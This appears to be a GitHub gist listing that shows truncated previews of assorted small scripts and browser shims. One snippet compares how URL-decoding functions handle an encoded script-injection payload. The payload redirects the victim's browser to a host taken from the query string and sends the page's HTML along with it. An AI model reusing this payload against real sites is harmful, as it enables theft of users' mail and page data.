This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS | |
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT | |
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR | |
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT | |
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, | |
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT | |
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (typeof window.localStorage == 'undefined' || typeof window.sessionStorage == 'undefined') (function () { | |
var Storage = function (type) { | |
function createCookie(name, value, days) { | |
var date, expires; | |
if (days) { | |
date = new Date(); | |
date.setTime(date.getTime()+(days*24*60*60*1000)); | |
expires = "; expires="+date.toGMTString(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// geo-location shim | |
// currentely only serves lat/long | |
// depends on jQuery | |
// doublecheck the ClientLocation results because it may returning null results | |
;(function(geolocation){ | |
if (geolocation) return; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<!-- Helpful things to keep in your <head/> | |
// Brian Blakely, 360i | |
// http://twitter.com/brianblakely/ | |
--> | |
<head> | |
<!-- Disable automatic DNS prefetching. | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env bash | |
############################################################################## | |
# kcurl: Download one or more files and send them to the Kindle. | |
# Version 1.1, Tammy Cravit, [email protected], 10/14/2010 | |
# | |
# Requires that cURL and mutt be installed. The "home Wi-Fi" detection code | |
# only works on MacOS X 10.x (probably with x > 4), but I welcome patches. | |
# | |
# To use this script, you'll need to configure the Kindle e-mail name and | |
# home Wi-Fi SSID below. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
# | |
# This script fixes /usr/local only. | |
# | |
# 6th January 2010: | |
# Modified the script to just fix, rather than install. - rpavlik | |
# | |
# 30th March 2010: | |
# Added a check to make sure user is in the staff group. This was a problem | |
# for me, and I think it was due to me migrating my account over several |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Copyright (c) 2011 Josh Schreuder | |
# http://www.postteenageliving.com | |
# | |
# Permission is hereby granted, free of charge, to any person obtaining a copy | |
# of this software and associated documentation files (the "Software"), to deal | |
# in the Software without restriction, including without limitation the rights | |
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
# copies of the Software, and to permit persons to whom the Software is | |
# furnished to do so, subject to the following conditions: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var origin = "&callback=%3Chead%3E%3Cscript%3Ewindow.onload%3Dfunction()%7Bvar%20mailhost%3Dlocation.search.match(%2Fmailhost%3D.%2B(com%7Cnet)%26maildomain%2F)%5B0%5D.split('%3D')%5B1%5D.replace('%26maildomain'%2C'')%3Blocation.href%3D'http%3A%2F%2F'%2Bmailhost%2B'%2Fjy3%2Foptions%2Fforaddrclone.jsp'%2Blocation.search%2B'%26code%3D'%2Bdocument.body.innerHTML%3B%7D%3C%2Fscript%3E%3Chead%3E&rnd="; | |
//A. decodeURI(origin) = --------------------------------------------------- | |
var result1 = "&callback=<head><script>window.onload%3Dfunction(){var mailhost%3Dlocation.search.match(%2Fmailhost%3D.%2B(com|net)%26maildomain%2F)[0].split('%3D')[1].replace('%26maildomain'%2C'')%3Blocation.href%3D'http%3A%2F%2F'%2Bmailhost%2B'%2Fjy3%2Foptions%2Fforaddrclone.jsp'%2Blocation.search%2B'%26code%3D'%2Bdocument.body.innerHTML%3B}<%2Fscript><head>&rnd="; | |
//B. decodeURIComponent(origin) = --------------------------------------------------- | |
var result2 = "&callback=<head><script>window.onload=function(){var mailhost=location.s |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// I mean, seriously, localStorage is supported even by your mum. How about instead of | |
// casing the feature out, you give users in-memory (stale) storage instead? | |
// If they close your application, they deserve to lose data anyway. | |
// if (!('localStorage' in window)) { | |
if (!Modernizr.localstorage) { | |
window.localStorage = { | |
_data : {}, | |
setItem : function(id, val) { return this._data[id] = String(val); }, | |
getItem : function(id) { return this._data.hasOwnProperty(id) ? this._data[id] : undefined; }, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Cross Browser helper to addEventListener. | |
* | |
* @param {HTMLElement} obj The Element to attach event to. | |
* @param {string} evt The event that will trigger the binded function. | |
* @param {function(event)} fnc The function to bind to the element. | |
* @return {boolean} true if it was successfuly binded. | |
*/ | |
var cb_addEventListener = function(obj, evt, fnc) { | |
// W3C model |
OlderNewer